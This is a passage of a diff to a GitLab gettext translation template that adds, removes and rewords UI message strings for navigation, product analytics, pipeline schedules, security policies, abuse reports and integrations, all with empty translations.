+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -26996,9 +27336,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27314,9 +27651,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27492,6 +27826,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28024,13 +28373,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28081,6 +28424,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28506,6 +28861,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28671,6 +29029,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29095,12 +29456,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29258,9 +29613,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29401,12 +29753,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -29938,7 +30284,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -29953,6 +30299,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -29965,6 +30314,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -29992,6 +30344,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30010,6 +30368,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -30964,9 +31325,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31024,6 +31382,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31051,7 +31412,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31066,9 +31430,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31180,6 +31541,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31192,27 +31556,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -31867,6 +32432,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32086,6 +32663,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32161,9 +32741,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32335,9 +32912,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32488,10 +33062,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32623,6 +33197,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33247,6 +33824,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33259,6 +33854,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33295,6 +33893,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34023,6 +34624,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34290,9 +34894,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34350,9 +34951,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34389,6 +34987,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35321,7 +35946,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35692,7 +36317,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -35899,6 +36524,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -35923,9 +36554,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -35941,6 +36569,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -35950,12 +36581,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36148,9 +36803,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36507,6 +37159,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36528,6 +37189,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -36807,7 +37471,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -36870,10 +37534,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -36888,6 +37552,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -36957,9 +37624,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37179,9 +37843,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37209,6 +37870,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37239,9 +37903,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37260,9 +37921,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38041,6 +38699,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38255,9 +38916,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38384,9 +39042,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38417,6 +39072,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38444,10 +39105,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38459,22 +39120,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -38972,6 +39627,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39167,15 +39828,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39665,18 +40326,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -39893,6 +40572,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -39911,7 +40593,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -39932,9 +40614,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40422,15 +41101,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40461,6 +41131,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40723,9 +41408,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -40977,6 +41659,9 @@ msgid "The following personal access token: %{token_names} was revoked, because
msgid_plural "The following personal access tokens: %{token_names} were revoked, because a new policy to expire personal access tokens were set."
msgstr[0] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41125,6 +41810,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41329,6 +42017,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41677,6 +42368,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -41779,21 +42473,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
